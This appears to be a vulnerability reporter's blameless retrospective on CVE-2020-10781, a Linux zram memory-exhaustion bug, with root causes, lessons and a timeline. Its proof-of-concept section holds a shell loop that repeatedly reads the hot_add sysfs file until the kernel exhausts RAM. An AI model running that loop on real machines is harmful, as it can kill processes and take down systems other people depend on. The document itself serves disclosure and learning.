CVE-2020-10781 retrospective (zram hot_add local DoS)

This page contains a blameless retrospective analysis on CVE-2020-10781, from the point of view of the reporter (me). This analysis has NOT been externally reviewed and may be biased/incomplete; private feedback and corrections are welcome!

Summary

CVE-2020-10781 is a local unprivileged memory exhaustion vulnerability in the zram module of the Linux kernel. On a machine with the module loaded (or built-in), a local user can continually read the /sys/class/zram-control/hot_add file and induce the kernel into consuming a large amount of system memory. Eventually this causes the system OOM killer to activate, terminating userspace processes and possibly making the whole system inoperable.

• CVSS v3 base score: 5.5 (Medium severity)

Proof of Concept (PoC)

$ ls -la /sys/class/zram-control/hot_add
-r--r--r--. 1 root root 4096 Sep  5 09:03 /sys/class/zram-control/hot_add

$ id -u
1000

$ cat /sys/class/zram-control/hot_add
1

$ ls -v /dev/zram*
/dev/zram0  /dev/zram1

$ cat /sys/class/zram-control/hot_add
2

$ ls -v /dev/zram*
/dev/zram0  /dev/zram1  /dev/zram2

$ while `true`; do cat /sys/class/zram-control/hot_add & done
...
==> The kernel eventually consumes all available RAM.

Root causes and trigger

1. A special entry under /sys can be accessed in read-only mode in order to trigger the creation of kernel-owned resources
2. The permission bits on the /sys entry (0444) allow any user to read it
3. Kernel development flow resulted in accidentally undoing a previous security fix (which wasn't marked as such)

See the timeline section for all the details and code references.

Learnings

What can go better:

• Sysfs entries should not follow a design where a "read" action is used to "create" dynamic kernel resources.
• A CVE should have been assigned to the original permission fix (in 2016).
• A test should cover the permission on the problematic sysfs entry to avoid regressions.
• A least-permission approach should be evaluated for creating zram devices (e.g. can CAP_MKNOD be enough?).

What went well:

• Security team and kernel developers were quick to acknowledge the report and provide a patch.

Where we got lucky:

• Bug was easy to observe/reproduce and only medium severity.
• zram module is not (yet) very widely used, i.e. not loaded by default on many distributions.

Timeline

1. 2015-05: zram hot_add feature is proposed. (LKML)
2. 2015-06: hot_add support is approved and merged. Reviews did not flag the "read-to-create" design nor the "all-read" permissions. (git)
3. 2016-12: sysfs entry permissions are patched to restrict to 0400. No CVE is assigned nor test introduced. (git)
4. 2017-06: a NOTE is added in a source comment about the unusual "read-to-create" behavior. (git)
5. 2017-06: a project-wide rework unwittingly breaks zram build.
6. 2017-06: zram build is fixed. This results in undoing the previous permission fix. (git)
7. 2020-06: permissions bits on hot_add are reported as potentially problematic to Red Hat security team. (CVE-2020-10781)
8. 2020-06: permission bits are reverted to 0400. No further regression test nor API deprecation steps are enacted. (git)